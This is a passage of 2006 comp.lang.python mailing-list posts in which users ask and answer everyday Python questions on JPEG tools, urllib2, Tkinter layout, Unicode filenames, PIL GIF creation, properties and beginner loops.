2006 20:15:11 +0100 Subject: lossless transformation of jpeg images Message-ID: <5f56302b0610291115k32e58ba6s72757b1ba1d51f69@mail.gmail.com> Hi all, Last time I checked PIL was not able to apply lossless transformations to jpeg images so I've created Python bindings (or is it a wrapper? I never knew the difference :)) for the jpegtran utility of the Independent Jpeg Group. The jpegtran utility is written in C and is very efficient, fast and robust. It can rotate, flip, transpose and transverse jpeg images in a lossless way, see www.ijg.org for more details. The bindings allow you to use all jpegtran features from Python. Downloads are here: http://ebiznisz.hu/python-jpegtran/ Any feedback is very welcome, especially if you are able to compile it on non-standard platforms. It has been tested on Linux and Python 2.3. Usage example: import jpegtran transformer = jpegtran.transformer( ) transformer.rotate( 90, 'pic.jpg', 'pic_rotated.jpg' ) transformer.flip( 'horizontal', 'pic.jpg', 'pic_flipped.jpg' ) transformer.transpose( 'pic.jpg', 'pic_transposed.jpg' ) transformer.transverse( 'pic.jpg', 'pic_transversed.jpg' ) transformer.gray( 'pic.jpg', 'pic_gray.jpg' ) From serestaAtwanadooDotnl Wed Oct 4 20:03:58 2006 From: serestaAtwanadooDotnl (goyatlah) Date: Thu, 05 Oct 2006 02:03:58 +0200 Subject: Urlnames in urllib2 Message-ID: <3ei8i2hosr67gdsmv75llvvr8ot920piqq@4ax.com> I'm trying to figure out how to get the exact opened url after a urlopen in urllib2. Say you have a link : http://myhost/mypath : what do I get back, - the file mypath on myhost - the file index.html on myhost/mypath, - or maybe something else. Snd what about the following: http;//myhost/index.htm where index.htm is actually a directory. With urllib2.geturl() I can find out if the name is changed to mypath/ or index.htm/ but it seems that is the only thing I can find out. Any help? TIA :) From chris at kateandchris.net Mon Oct 23 17:17:01 2006 From: chris at kateandchris.net (Chris Lambacher) Date: Mon, 23 Oct 2006 17:17:01 -0400 Subject: python2.5 importerror on md5 In-Reply-To: <1161635326.472236.12070@i42g2000cwa.googlegroups.com> References: <1161630406.102958.22270@i3g2000cwc.googlegroups.com> <1161631938.267555.303790@h48g2000cwc.googlegroups.com> <1161635326.472236.12070@i42g2000cwa.googlegroups.com> Message-ID: <20061023211701.GA2186@kateandchris.net> On Mon, Oct 23, 2006 at 01:28:46PM -0700, samn wrote: > i think the problem is different versions of openssl on the two > machines , 0.9.7a and 0.9.8b I second that this is the likely culprit. I got bit by it while trying to do cross compile. The module build process assumes a couple of locations that a particular library might be and takes the first one it finds, regardless of which one you actually want it to use. I ended up making modifications to what modules were installed to get md5 to finally import. My experiences are outlined at this page: http://whatschrisdoing.com/blog/2006/10/06/howto-cross-compile-python-25/ -Chris From robin at reportlab.com Wed Oct 25 06:56:06 2006 From: robin at reportlab.com (Robin Becker) Date: Wed, 25 Oct 2006 11:56:06 +0100 Subject: unsigned 32 bit arithmetic type? In-Reply-To: References: <453F3189.5000502@chamonix.reportlab.co.uk> Message-ID: <453F42C6.9050108@chamonix.reportlab.co.uk> Travis E. Oliphant wrote: > Robin Becker wrote: ........ > NumPy defines an array and an array scalar for all signed and unsigned > integers defined in C. > > import numpy as nx > type(nx.array([1,2,3],dtype=nx.uint32)[0]) > > great, but do we have a pure python version? -- Robin Becker From fredrik at pythonware.com Wed Oct 11 18:04:36 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 12 Oct 2006 00:04:36 +0200 Subject: python 2.5 & sqlite3 In-Reply-To: <1160603125.964879.17480@m73g2000cwd.googlegroups.com> References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com> <1160603125.964879.17480@m73g2000cwd.googlegroups.com> Message-ID: BartlebyScrivener wrote: > Fredrik Lundh wrote: > >> wasting time on broken distributions? > > It's not broken. of course it's broken; the official release ships with properly built and properly tested versions of the stuff you're struggling to install. > I like Pythonwin better than IDLE. last time I checked, the PythonWin IDE was part of the win32all kit, available from: https://sourceforge.net/project/showfiles.php?group_id=78018&package_id=79063 > Either way I need to know where to put the sqlite files, right? not if you're using a proper release, no. From __peter__ at web.de Tue Oct 31 07:02:34 2006 From: __peter__ at web.de (Peter Otten) Date: Tue, 31 Oct 2006 13:02:34 +0100 Subject: Help me understand this iterator References: <1162294568.168728.178270@m73g2000cwd.googlegroups.com> Message-ID: LaundroMat wrote: [me hitting send too soon] > Now, if I look at this script step by step, I don't understand: > - where the "while 1:"-loop is quitted. > class DirectoryWalker: > # a forward iterator that traverses a directory tree > > def __init__(self, directory): > self.stack = [directory] > self.files = [] > self.index = 0 > > def __getitem__(self, index): > while 1: > try: > file = self.files[self.index] > self.index = self.index + 1 > except IndexError: > # pop next directory from stack > self.directory = self.stack.pop() If self.stack is empty, pop() will raise an IndexError which terminates both the 'while 1' loop in __getitem__() and the enclosing 'for file in ...' loop > self.files = os.listdir(self.directory) > self.index = 0 > else: > # got a filename > fullname = os.path.join(self.directory, file) > if os.path.isdir(fullname) and not > os.path.islink(fullname): > self.stack.append(fullname) > return fullname The return statement feeds the next file to the for loop. Peter From istvan.albert at gmail.com Fri Oct 20 12:34:55 2006 From: istvan.albert at gmail.com (Istvan Albert) Date: 20 Oct 2006 09:34:55 -0700 Subject: invert or reverse a string... warning this is a rant References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: <1161362095.822361.159160@b28g2000cwb.googlegroups.com> egbert wrote: > String reversal comes in handy when you do palindromes. Yes, that's where the big bucks are, the Palindrome Industry. It is the shortsightedness of the Python core developers that keeps the palindrome related functions and algorithms out of the standard library i. From onurb at xiludom.gro Tue Oct 24 04:41:26 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 24 Oct 2006 10:41:26 +0200 Subject: can't open word document after string replacements In-Reply-To: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> Message-ID: <453dd1b8$0$15214$426a74cc@news.free.fr> Antoine De Groote wrote: > Hi there, > > I have a word document containing pictures and text. This documents > holds several 'ABCDEF' strings which serve as a placeholder for names. > Now I want to replace these occurences with names in a list (members). Do you know that MS Word already provides this kind of features ? > I > open both input and output file in binary mode and do the > transformation. However, I can't open the resulting file, Word just > telling that there was an error. Does anybody what I am doing wrong? Hand-editing a non-documented binary format may lead to undesirable results... > Oh, and is this approach pythonic anyway? The pythonic approach is usually to start looking for existing solutions... In this case, using Word's builtin features and Python/COM integration would be a better choice IMHO. > (I have a strong Java > background.) Nobody's perfect !-) > Regards, > antoine > > > import os > > members = somelist > > os.chdir(somefolder) > > doc = file('ttt.doc', 'rb') > docout = file('ttt1.doc', 'wb') > > counter = 0 > > for line in doc: Since you opened the file as binary, you should use file.read() instead. Ever wondered what your 'lines' look like ?-) > while line.find('ABCDEF') > -1: .doc is a binary format. You may find such a byte sequence in it's content in places that are *not* text content. > try: > line = line.replace('ABCDEF', members[counter], 1) > docout.write(line) You're writing back the whole chunk on each iteration. No surprise the resulting document is corrupted. > counter += 1 seq = list("abcd") for indice, item in enumerate(seq): print "%02d : %s" % (indice, item) > except: > docout.write(line.replace('ABCDEF', '', 1)) > else: > docout.write(line) > > doc.close() > docout.close() > -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From jweida at gmail.com Tue Oct 17 12:29:24 2006 From: jweida at gmail.com (Jerry) Date: 17 Oct 2006 09:29:24 -0700 Subject: making a valid file name... In-Reply-To: <1161102165.272182.207990@m73g2000cwd.googlegroups.com> References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com> Message-ID: <1161102564.384778.311870@i3g2000cwc.googlegroups.com> I would suggest something like string.maketrans http://docs.python.org/lib/node41.html. I don't remember exactly how it works, but I think it's something like >>> invalid_chars = "abc" >>> replace_chars = "123" >>> char_map = string.maketrans(invalid_chars, replace_chars) >>> filename = "abc123.txt" >>> filename.translate(charmap) '123123.txt' -- Jerry From no-spam at no-spam-no-spam.com Thu Oct 26 16:48:58 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Thu, 26 Oct 2006 22:48:58 +0200 Subject: ANN: wxPython 2.7.1.3 In-Reply-To: References: Message-ID: Robin Dunn wrote: > Announcing > ---------- > > The 2.7.1.3 release of wxPython is now available for download at > http://wxpython.org/download.php. This release is a yet another > quick-turnaround bugfix release designed to solve some problems, plust > some minor enhancements. This will likely be the last 2.7.1.x > release. Source and binaries are available for both Python 2.4 and > 2.5 for Windows and Mac, as well some pacakges for varous Linux > distributions. A summary of changes is listed below and also at > http://wxpython.org/recentchanges.php. See py2.3 is still supported for Mac. I'd like a py2.3 version for Windows still :cry-baby: -robert From fredrik at pythonware.com Wed Oct 4 08:39:26 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 4 Oct 2006 14:39:26 +0200 Subject: filling a frame with a widget References: <83e8215e0610040455v36b3e7b9r2394a476b3aa41dd@mail.gmail.com> Message-ID: Paolo Pantaleo wrote: >I have this code > > from Tkinter import * > > root=Tk() > Button(root).pack(fill=BOTH) > root.mainloop() > > I would expect the button filling all the client draw area of the > Frame, but when I resize the root window the button becomes wider, but > not higher ( I get some empty space under the button). pack(fill=BOTH, expand=1) should do the trick. the pack geometry manager works by slicing off vertical or horizontal areas from the parent, one area per widget. the "fill" option controls how to place the widget inside that area, the "expand" option controls how to handle any extra space left in the parent. if "expand" isn't set for any child widget, the extra space is left un- used. From bignose+hates-spam at benfinney.id.au Wed Oct 11 02:08:48 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 11 Oct 2006 16:08:48 +1000 Subject: sufficiently pythonic code for testing type of function References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com> <87vemr76fu.fsf@benfinney.id.au> <463ff4860610102253l79c94092q398746105cabf145@mail.gmail.com> Message-ID: <87ejtf75an.fsf@benfinney.id.au> "Theerasak Photha" writes: > On 10/11/06, Ben Finney wrote: > > Why have you re-implemented (a less-functional version of) 'isinstance'? > > Ignorance, I think. But the issue is resolved now. Thank you. Hopefully it is also merely ignorance that leads you to such obsessive type-checking. Here's a discussion on EAFP versus LBYL that gets a lot of Google juice. -- \ "I planted some bird seed. A bird came up. Now I don't know | `\ what to feed it." -- Steven Wright | _o__) | Ben Finney From fredrik at pythonware.com Mon Oct 16 12:07:32 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 16 Oct 2006 18:07:32 +0200 Subject: Convert StringIO to string In-Reply-To: <022f01c6f12a$1a047ce0$fde92452@bowlas> References: <022f01c6f12a$1a047ce0$fde92452@bowlas> Message-ID: Jonathan Bowlas wrote: > Ok, I think I'm explaining this badly because I've used getvalue() in > the script I originally submitted to the list, see below: > > from StringIO import StringIO > > def generator_file(rsspath,titleintro,tickeropt): > > scripter=StringIO() > > scripter.write('\n') > > return scripter.getvalue() > > The problem is this script returns the following: > > <script type="text/javascript"> > > new rss_ticker(www.bbc.co.uk, True, True) </script> no, it doesn't. it returns " So what am I doing wrong? coding under the influence of confusion? can you post the code that calls generator_file() and the code that writes the return value to the browser? From tinodb at gmail.com Tue Oct 17 18:34:13 2006 From: tinodb at gmail.com (TiNo) Date: Wed, 18 Oct 2006 00:34:13 +0200 Subject: right curly quote and unicode Message-ID: <435b46e50610171534ue45d3afsc5bc26a981ba1bc0@mail.gmail.com> Hi all, I am trying to compare my Itunes Library xml to the actual files on my computer. As the xml file is in UTF-8 encoding, I decided to do the comparison of the filenames in that encoding. It all works, except with one file. It is named 'The Chemical Brothers-Elektrobank-04 - Don't Stop the Rock (Electronic Battle Weapon Version).mp3'. It goes wrong with the apostrophe in Don't. That is actually not an apostrophe, but ASCII char 180: ? In the Itunes library it is encoded as: Don%E2%80%99t I do some some conversions with both the library path names and the folder path names. Here is the code: (in the comment I dispay how the Don't part looks. I got this using print repr(filename)) ------------------------------------------------------------- #Once I have the filenames from the library I clean them using the following code (as filenames are in the format ' file://localhost/m:/music/track%20name.mp3') filename = urlparse.urlparse(filename)[2][1:] # u'Don%E2%80%99t' ; side question, anybody who nows a way to do this in a more fashionable way? filename = urllib.unquote(filename) # u'Don\xe2\x80\x99t' filename = os.path.normpath(filename) # u'Don\xe2\x80\x99t' I get the files in my music folder with the os.walk method and then I do: filename = os.path.normpath(os.path.join(root,name)) # 'Don\x92t' filename = unicode(filename,'latin1') # u'Don\x92t' filename = filename.encode('utf-8') # 'Don\xc2\x92t' filename = unicode(filename,'latin1') # u'Don\xc2\x92t' ----------------------------- I think the folder part is a bit weird with the unicode, encode, unicode conversions, but it works for all the other songs. Of which some contain latin1 characters like accented e and a, and c's with an s underneath them. Only this wierd quote apostrophe thingy is not working. What am I doing wrong? -------------- next part -------------- An HTML attachment was scrubbed... URL: From steve at holdenweb.com Sat Oct 21 19:46:19 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 22 Oct 2006 00:46:19 +0100 Subject: print dos format file into unix format In-Reply-To: <1161469067.180921.35200@i3g2000cwc.googlegroups.com> References: <1161469067.180921.35200@i3g2000cwc.googlegroups.com> Message-ID: PengYu.UT at gmail.com wrote: > Suppose I have a dos format text file. The following python code will > print ^M at the end. I'm wondering how to print it in unix format. > > fh = open(options.filename) > for line in fh.readlines() > print line, > > Thanks, > Peng > open(outfile, "wb").write(open(infile, "rb").read().replace("\r", "")) Or something like that ... :) regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From pydecker at gmail.com Sat Oct 21 13:39:15 2006 From: pydecker at gmail.com (Peter Decker) Date: Sat, 21 Oct 2006 13:39:15 -0400 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <1161444416.749636.172530@i42g2000cwa.googlegroups.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> <1161444416.749636.172530@i42g2000cwa.googlegroups.com> Message-ID: On 21 Oct 2006 08:26:56 -0700, sturlamolden wrote: > That leaves you with wxPython (utterly ugly API, remninds me of MFC and > Motif), PyQt (very expensive unless GPL is not a show stopper) or > PyObjC. I too hated the wxPython API, but loved how it looked. And since I need things to run cross-platform (in my case, Linux and Windows), I held my breath and coded in wxPython, because the results were well worth it. Now that I've discovered Dabo, which wraps wxPython, hiding the C++ ugliness under a very Pythonic API, I have the best of both worlds. I get to code naturally, and the results look great. -- # p.d. From http Sun Oct 8 06:21:00 2006 From: http (Paul Rubin) Date: 08 Oct 2006 03:21:00 -0700 Subject: People's names (was Re: sqlite3 error) References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> Message-ID: <7x4pufm7lf.fsf@ruckus.brouhaha.com> Steve Holden writes: > > There would also need to be a flag field to indicate the canonical > > ordering > > for writing out the full name: e.g. family-name-first, given-names-first. > > Do we need something else for the Vietnamese case? > > You'd think some standards body would have worked on this, wouldn't > you. I couldn't think of a Google search string that would lead to > such information, though. Maybe other, more determined, readers can do > better. Librarians have to deal with this all the time, I expect. I believe library catalogs often use two separate fields, one for some representation of the name intended for lexicographic sorting, and another for display to the user. There's an exercise in Knuth vol 3 showing a bunch of examples, using both author names and book titles. From gagsl-py at yahoo.com.ar Thu Oct 19 17:51:11 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 19 Oct 2006 18:51:11 -0300 Subject: Restricting import file lookup for pyd, dll, ... In-Reply-To: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com > References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com> Message-ID: <7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar> At Thursday 19/10/2006 18:38, Bernard Lebel wrote: >By default, when I import a module in Python, Python looks for pyd, >dll, py, then pyw and finally pyc file. > >In our company we do not use pyd and dll for Python stuff. Is there >any chance to disable Python from looking at these? Perhaps a flag we >can change in Python? Or would it be doable by recompiling the >sources? You can't; part of the standard library are .pyd/.dll files. Those existence checks should be fairly fast - why are you worried about them? -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From danb_83 at yahoo.com Thu Oct 5 01:03:43 2006 From: danb_83 at yahoo.com (Dan Bishop) Date: 4 Oct 2006 22:03:43 -0700 Subject: Hands on Documentation for Python methods and Library In-Reply-To: References: Message-ID: <1160024623.466210.297640@h48g2000cwc.googlegroups.com> On Oct 4, 11:54 pm, Wijaya Edward wrote: > Hi, > > One can do the following with Perl > > $ perldoc -f chomp > $ perldoc -f function_name > > or > > $ perldoc List::MoreUtils > $ perldoc Some::Module > > Can we do the same thing in Python? You can use the help() function at the Python interactive prompt. From gene.tani at gmail.com Mon Oct 2 11:45:31 2006 From: gene.tani at gmail.com (gene tani) Date: 2 Oct 2006 08:45:31 -0700 Subject: Sort by domain name? In-Reply-To: <7xmz8ekayz.fsf@ruckus.brouhaha.com> References: <7xmz8ekayz.fsf@ruckus.brouhaha.com> Message-ID: <1159803931.803028.197770@k70g2000cwa.googlegroups.com> Paul Rubin wrote: > "js " writes: > > Here, domain name doesn't contain subdomain, > > or should I say, domain's part of 'www', mail, news and en should be > > excluded. > > It's a little more complicated, you have to treat co.uk about > the same way as .com, and similarly for some other countries > but not all. For example, subdomain.companyname.de versus > subdomain.companyname.com.au or subdomain.companyname.co.uk. > You end up needing a table or special code to say > how to treat various countries. Plus, how do you order "https:", "ftp", URLs with "www.", "www2." , named anchors etc? Gentle reminder: is this homework? And you can expect better responses if you show youve bootstrapped yourself on the problem to some extent. From onurb at xiludom.gro Tue Oct 24 06:36:00 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 24 Oct 2006 12:36:00 +0200 Subject: forcing a definition to be called on attribute change In-Reply-To: References: Message-ID: <453dec91$0$23269$426a34cc@news.free.fr> Michael Malinowski wrote: > Hey All, > Apologies if this is a stupidly obvious or simple question. If I have a > class with a series of attributes, is there a way to run a function > definition in the class s/run a function definition in the class/call a method/ > whenever a specific attribute is changed? Yes : properties. > Something like the following > > class cSphere() : OT : prefixing classes names with 'c' is totally unpythonic. > def __init__(self): > Self.myAttr = 0 s/Self/self/ > def runThisFunctionWhenMyAttrChanged() : > Pass class MyClass(object): def __init__(self): self.my_attr = 0 # will call the setter # use direct attribute access instead if you don't # want to call the setter, ie: # self._my_attr = 0 def _get_my_attr(self): return self._my_attr def _set_my_attr(self, val): self._my_attr = val self.runThisFunctionWhenMyAttrChanged() my_attr = property(_get_my_attr, _set_my_attr) HTH -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From Roberto.Bonvallet at cern.ch Fri Oct 20 10:50:38 2006 From: Roberto.Bonvallet at cern.ch (Roberto Bonvallet) Date: Fri, 20 Oct 2006 14:50:38 +0000 (UTC) Subject: list comprehension (searching for onliners) References: Message-ID: Gerardo Herzig wrote: [...] > and so on...what i need to do is some list comprehension that returns me > something like [...] You don't _need_ a list comprehension, you just _want_ one :) [...] > Ill keeping blew off my hair and drinking more cofee while searching for > this damn onliner im looking for. I know, trying to put complex logic in one line makes you do all that. Go for the multiliner! -- Roberto Bonvallet From bjobrien62 at gmail.com Tue Oct 3 22:09:53 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 3 Oct 2006 19:09:53 -0700 Subject: Need help with syntax on inheritance. Message-ID: <1159927793.600354.150330@b28g2000cwb.googlegroups.com> If you are deriving a new class from another class, that you must (I assume) know the initializer of the other class. So in myClass import array class myClass(arrary.array): def __init__(self, now here I need to put array's constructor parameters..., then mine): array.array.__init__(self, typecode[, initializer]) self.mine = mine So I'm confused... array has a typecode parameter and an optional initiializer... So could you help me with the class construction here please? From bob at passcal.nmt.edu Tue Oct 31 13:43:45 2006 From: bob at passcal.nmt.edu (Bob Greschke) Date: Tue, 31 Oct 2006 11:43:45 -0700 Subject: Overriding traceback print_exc()? Message-ID: I want to cause any traceback output from my applications to show up in one of my dialog boxes, instead of in the command or terminal window (between running on Solaris, Linux, OSX and Windows systems there might not be any command window or terminal window to show the traceback messages in). Do I want to do something like override the print_exc (or format_exc?) method of traceback to get the text of the message and call my dialog box routine? If that is right how do I do that (monkeying with classes is all still a grey area to me)? I kind of understand using the traceback module to alter the output of exceptions that I am looking for, but I'm after those pesky ones that should never happen. :) Thanks! Bob From jackson at hotmail.com Wed Oct 11 00:53:38 2006 From: jackson at hotmail.com (Jackson) Date: Tue, 10 Oct 2006 21:53:38 -0700 Subject: Difference between unindexable and unsubscriptable Message-ID: What is the difference between "object is unindexable" and "object is unsubscriptable"? I would like to test if an object can accept: obj[0] >>> from sets import Set >>> Set([1,2])[0] TypeError: unindexable object >>> 3[0] TypeError: unsubscriptable object It seems like each of these errors can be replaced with a single type error. From Leo.Kislov at gmail.com Wed Oct 11 00:27:06 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 10 Oct 2006 21:27:06 -0700 Subject: does raw_input() return unicode? References: <12iln7en9ipit77@corp.supernews.com> <452b5190$0$29833$9b622d9e@news.freenet.de> <452BD8A2.4060708@v.loewis.de> Message-ID: <1160540826.344494.273930@m73g2000cwd.googlegroups.com> Theerasak Photha wrote: > On 10/10/06, "Martin v. L?wis" wrote: > > Theerasak Photha schrieb: > > >> At the moment, it only returns unicode objects when invoked > > >> in the IDLE shell, and only if the character entered cannot > > >> be represented in the locale's charset. > > > > > > Why only IDLE? Does urwid or another console UI toolkit avoid this somehow? > > > > I admit I don't know what urwid is; from a shallow description I find > > ("a console user interface library") I can't see the connection to > > raw_input(). How would raw_input() ever use urwid? > > The other way around: would urwid use raw_input() or other Python > input functions anywhere? > > And what causes Unicode input to work in IDLE alone? Other applications except python are actually free to implement unicode stdin. python cannot do it because of backward compatibility. You can argue that python interactive console could do it too, but think about it this way: python interactive console deliberately behaves like a running python program would. From http Wed Oct 4 07:39:18 2006 From: http (Paul Rubin) Date: 04 Oct 2006 04:39:18 -0700 Subject: What value should be passed to make a function use the defaultargument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> <7xac4cpefr.fsf@ruckus.brouhaha.com> Message-ID: <7xd5982tuh.fsf@ruckus.brouhaha.com> Antoon Pardon writes: > I think it would become something like: > > def myrepeat(*args): > obj = args[0] > tail = args[1:] > newobj = Process(obj) > newargs = (newobj,) + tail > return itertools.repeat(*newargs) Too messy. Just write: def myrepeat(obj, *times): return itertools.repeat(Process(obj), *times) From ak at silmarill.org Fri Oct 13 14:19:32 2006 From: ak at silmarill.org (Rainy) Date: 13 Oct 2006 11:19:32 -0700 Subject: Newbie question - leading zeros In-Reply-To: <20061013130805.T91050@eris.io.com> References: <20061013130805.T91050@eris.io.com> Message-ID: <1160763572.744578.36810@m73g2000cwd.googlegroups.com> eldorado wrote: > I have looked around and cannot seem to find a way to strip leading zeros > off of values in a dictionary. Basically, I am looking to do a for loop > and any value that has one or more leading zeros would be stripped. Any > pointers would be appreciated. Thanks > > -- > Randomly generated signature > ICMP: The protocol that goes PING! import string >>> string.lstrip('0001', '0') '1' Hope this willhelp -Rainy From hanumizzle at gmail.com Wed Oct 11 01:44:37 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 01:44:37 -0400 Subject: OT: Sarcasm and irony In-Reply-To: <1160544879.915425.250200@m7g2000cwm.googlegroups.com> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> <12iosfh75stcf0e@corp.supernews.com> <1160544879.915425.250200@m7g2000cwm.googlegroups.com> Message-ID: <463ff4860610102244y348d8b5alc8247e84775d1cd3@mail.gmail.com> On 10 Oct 2006 22:34:39 -0700, mensanator at aol.com wrote: > > Like Alanis Morisette said about the song "Isn't it Ironic": > > What's ironic about the song is that it doesn't actually > > contain any irony. > > Any? Don't people plan June weddings thinking the weather > will be nice? And isn't one of the defintions of irony when > things turn out the opposite of what you expect? I hate June. June sucks. Blindly following some Roman custom relating to Juno (the real reason why people have June weddings) + hot, humid weather + completely impractical formal wear with a thick, unbreathing layer of shirts and paper thin pants that never quite fit is teh sux. I may be brown, but this time of the year in the Northern Hemisphere when the weather is chilly but not intolerable, and one can read by the moonlight is, OTOH, teh win. -- Theerasak From steve at holdenweb.com Fri Oct 13 07:36:29 2006 From: steve at holdenweb.com (Steve Holden) Date: Fri, 13 Oct 2006 12:36:29 +0100 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> Message-ID: Antoon Pardon wrote: > On 2006-10-12, Magnus Lycka wrote: > >>Antoon Pardon wrote: >> >>>Well maybe he didn't intend that, but how is the reader of the >>>documentation to know that? The reader can only go by how >>>things are documented. If those are not entirely consistent >>>with the intend of the programmer, that is not the readers >>>fault. >> >>I don't think I ever assumed that it was right to call functions >>with keyword arguments if they weren't defined with keyword >>parameters, > > > I'm not sure I follow here. AFAICS, you can't define keyword > parameters. You can give default values to parameters but > this is orthogonal to calling a function with keywords. > Yup, that's a point that the documentation doesn't make stringly enough. > If we somehow want to seperate parameters in those that > can be used with a keyword and those that don't it has > to be something different than providing a default value > to that parameter. > Indeed. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From codecraig at gmail.com Wed Oct 18 10:40:52 2006 From: codecraig at gmail.com (abcd) Date: 18 Oct 2006 07:40:52 -0700 Subject: Image.draft -- what are the modes that I can use? In-Reply-To: <1161181585.245045.41680@b28g2000cwb.googlegroups.com> References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com> <1161179376.827555.239810@i3g2000cwc.googlegroups.com> <1161181585.245045.41680@b28g2000cwb.googlegroups.com> Message-ID: <1161182452.235096.127750@i42g2000cwa.googlegroups.com> fredrik, in other posts you have mentioned the use of gifmaker. i have tried that with the following: I am using gifmaker.py from PIL v1.1.5 on python 2.4.1. CODE ---------------------------------------------------------------- import ImageGrab, gifmaker seq = [] while keepOnGoing: im = ImageGrab.grab() seq.append(im) fp = open("out.gif", "wb") gifmaker.makedelta(fp, seq) fp.close() --------------------------------------------------------------- however I am getting this error: Exception in thread Thread-3: Traceback (most recent call last): File "c:\Python24\lib\threading.py", line 442, in __bootstrap self.run() File "c:\foo.py", line 10, in run gifmaker.makedelta(fp, seq) File "c:\gifmaker.py", line 79, in makedelta for s in getheader(im) + getdata(im): File "c:\Python24\Lib\site-packages\PIL\GifImagePlugin.py", line 383, in getdata ImageFile._save(im, fp, [("gif", (0,0)+im.size, 0, RAWMODE[im.mode])]) KeyError: 'RGB' Any ideas? Basically I want to make an animated GIF out of a bunch of images taken using the ImageGrab module. From onurb at xiludom.gro Tue Oct 31 04:02:30 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 31 Oct 2006 10:02:30 +0100 Subject: Cann't connect zope server In-Reply-To: <1162270615.087859.193690@m73g2000cwd.googlegroups.com> References: <1162270615.087859.193690@m73g2000cwd.googlegroups.com> Message-ID: <45471129$0$2857$426a74cc@news.free.fr> steve wrote: > Can I ask question about zope here? Unless it has more to do with Python than with Zope itself, you'd better ask on Zope's mailing-list. > I started Zserver but could not connect to it using firefox.The runzope > gave message: > > /usr/bin/zope/instance/bin/runzope -X debug-mode=on > 2006-10-31 12:50:45 INFO ZServer HTTP server started at Tue Oct 31 > 12:50:45 2006 > Hostname: 0.0.0.0 > Port: 8080 > 2006-10-31 12:50:45 CRITICAL Zope A user was not specified to setuid > to; fix this to start as root (change the effective-user directive in > zope.conf) And this has absolutely nothing to do with Python. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From ak at silmarill.org Sat Oct 14 21:28:45 2006 From: ak at silmarill.org (Rainy) Date: 14 Oct 2006 18:28:45 -0700 Subject: Ok. This IS homework ... In-Reply-To: <1160869363.651855.204820@i3g2000cwc.googlegroups.com> References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com> <1160867758.584637.101360@m73g2000cwd.googlegroups.com> <1160869363.651855.204820@i3g2000cwc.googlegroups.com> Message-ID: <1160875725.621498.229030@m7g2000cwm.googlegroups.com> spawn wrote: > > Also, you never break out of your deepest loop, why are you using two > > nested infinite-loops anyway? > > > > Regards, > > Brett Hoerner > > Ummmmmm ..because I'm new to programming? Actually, they do end. If I > move my "guess" variable outside the outermost loop, then it becomes > infinte. I know, I tried it. > > You guys are fast! I'll reread my documentation and try a few more > thing (I kept telling myself that running_total and subotal don't need > to be different variables!) and see what I get. > > As for that last post (I don't remember your name), ummmmmm ... WOW! > This is BEGINNING Python. That looks far too advanced for me. Try to think logically about how this has to be done. You need a variable that holds the running total. You need variable that holds user input. You need to add user input to running total and compare it to max value. First it's often a good idea to start with pseudo-code: loop: get input add input to running total if running total = goal, exit loop what you do instead: loop 1: get input subtotal = input loop 2: get input set running total to sum of first input and second input if running total = goal: print 'congratulations...' Not sure what you want to do if total gets over max value.. you want to subtract user's next input? Or just terminate? I think your mistake is that you tried to write code and use commands you read about in the manual before clearly understanding what you want the code to do. Instead of solving two problems one by one you try to solve two problems 